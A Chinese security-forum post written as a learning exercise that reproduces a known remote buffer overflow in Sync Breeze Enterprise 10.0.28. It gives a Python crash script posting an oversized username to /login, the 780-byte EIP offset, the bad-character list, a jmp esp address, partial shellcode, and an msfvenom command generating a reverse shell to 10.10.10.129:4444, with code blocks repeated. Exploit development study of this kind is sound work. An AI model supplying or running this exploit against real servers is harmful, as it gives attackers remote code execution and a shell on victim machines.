首页
社区
课程
招聘
[原创]Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow 复现分析
发表于: 2025-12-6 02:11 1106

[原创]Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow 复现分析

2025-12-6 02:11
1106

初来乍到,二进制新手。算是挑个软柿子捏一捏,做一个分析复现记录,大神轻喷
exploit-db地址 : 5c1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7J5z5e0t1^5
找来一个对应版本的安装包
syncbreezeent_setup_v10.0.28
然后正常安装这个程序
从一个基础的exp开始

服务开启80端口的web服务
图片描述

注意是这个服务
图片描述
加载windbg
图片描述

直接执行上述exp查看windbg
图片描述
eip被填满 查找eip位置 修改一下exp

再次加载到windbg

图片描述

OK,拿到这个字符串去查询一下 eip的位置在780 + 4

图片描述

修改一下exp

图片描述
eip的位置已经如预期一样被填入字符B 查看esp 现在的内存布局就如我们的预期,eip前面是填充的A,eip的位置是B,eip后续的部分用C填充

生成坏字符串集

图片描述
默认情况下\x00都是坏字符所以这个坏字符集就没有\x00

继续修改exp

图片描述

捕获一些信息
首先 查看到此时 的eip = 42424242 符合预期
但是目前的esp开头在08070605的位置,为了方便 加一个offset进行填充
原本的 esp 的位置 现在 04030201 符合badchars 的预期
接下来 00cb0009 00ed67c0 说明 至少 09 00 cb 00 这个部分有坏字符
去找原版这部分对应的部分
\x0a\x0b\x0c\x0d
那么确定 \x0a 是坏字符
重复上述步骤找到所有的exp
循环往复 找到所有坏字符 如下 \x00 本身就是坏字符 所以包含在内
\x00\x0a\x0d\x25\x26\x2b\x3d

就直接用msf生成

那现在有shellcode,能够控制eip,需要重新修改下exp

接下来的任务是找到一种方法,将执行流重定向到程序崩溃时 ESP 寄存器所指向的内存地址(即 shellcode 所在位置)
先这样直接执行这个exp 查看windbg
图片描述
如上图所示,最快的方式就是找到一个jmp esp的指令FFE4
在windbg当中搜索

图片描述

找到10090c83将这个部分替换eip

程序崩溃
图片描述
没有收到反弹shell,看起来这里是填充字符和shellcode混在一起了 所以增加一些nops修改exp

再次执行 成功复现
图片描述

完整代码:

这里的nopsexploit-db当中数量不太一样 是因为系统原因,我准备的Windows 10 有10个nops就够用 我看有些人需要20好像不太一定
图片描述

#!/usr/bin/python
import socket
import sys
 
try:
  server = sys.argv[1]
  port = 80
  size = 800
  inputBuffer = b"A" * size
  content = b"username=" + inputBuffer + b"&password=A"
 
  buffer = b"POST /login HTTP/1.1\r\n"
  buffer += b"Host: " + server.encode() + b"\r\n"
  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
  buffer += b"Referer: 7a3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0q4Q4x3X3f1H3i4K6u0W2x3U0u0Q4x3V1k6D9L8$3N6A6L8W2)9#2b7%4u0Q4y4f1y4F1"
  buffer += b"Connection: close\r\n"
  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
  buffer += b"\r\n"
  buffer += content
 
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
   
  print("Done!")
   
except socket.error:
  print("Could not connect!")
#!/usr/bin/python
import socket
import sys
 
try:
  server = sys.argv[1]
  port = 80
  size = 800
  inputBuffer = b"A" * size
  content = b"username=" + inputBuffer + b"&password=A"
 
  buffer = b"POST /login HTTP/1.1\r\n"
  buffer += b"Host: " + server.encode() + b"\r\n"
  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
  buffer += b"Referer: f02K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0q4Q4x3X3f1H3i4K6u0W2x3U0u0Q4x3V1k6D9L8$3N6A6L8W2)9#2b7%4u0Q4y4f1y4F1"
  buffer += b"Connection: close\r\n"
  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
  buffer += b"\r\n"
  buffer += content
 
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
   
  print("Done!")
   
except socket.error:
  print("Could not connect!")
# 这里我用的是msf
# msf-pattern_create -l 800
inputBuffer = b'Aa0Aa1Aa......'
# 这里我用的是msf
# msf-pattern_create -l 800
inputBuffer = b'Aa0Aa1Aa......'
msf-pattern_offset -q 42306142
msf-pattern_offset -q 42306142
port = 80
size = 800
 
eip = b'B' * 4
inputBuffer = b'A' * 780 + eip
inputBuffer += b'C' * (size - len(inputBuffer))
port = 80
size = 800
 
eip = b'B' * 4
inputBuffer = b'A' * 780 + eip
inputBuffer += b'C' * (size - len(inputBuffer))
badchars
badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
size = 800
badchars = b'\x01\x02\x03......'
eip = b'B' * 4
inputBuffer =  b'A' * 780 + eip  + badchars
size = 800
badchars = b'\x01\x02\x03......'
eip = b'B' * 4
inputBuffer =  b'A' * 780 + eip  + badchars
msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
eip = b'B' * 4
offset = b'C' * 4
shellcode =  b""
shellcode += b"\xbb\x65\xea\x51\xbb\xdb\xc6\xd9\x74\x24\xf4"
......
 
inputBuffer = b'A' * 780 + eip  + offset + shellcode
eip = b'B' * 4
offset = b'C' * 4
shellcode =  b""
shellcode += b"\xbb\x65\xea\x51\xbb\xdb\xc6\xd9\x74\x24\xf4"
......
 
inputBuffer = b'A' * 780 + eip  + offset + shellcode
s -b 10000000 10223000 ff e4

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回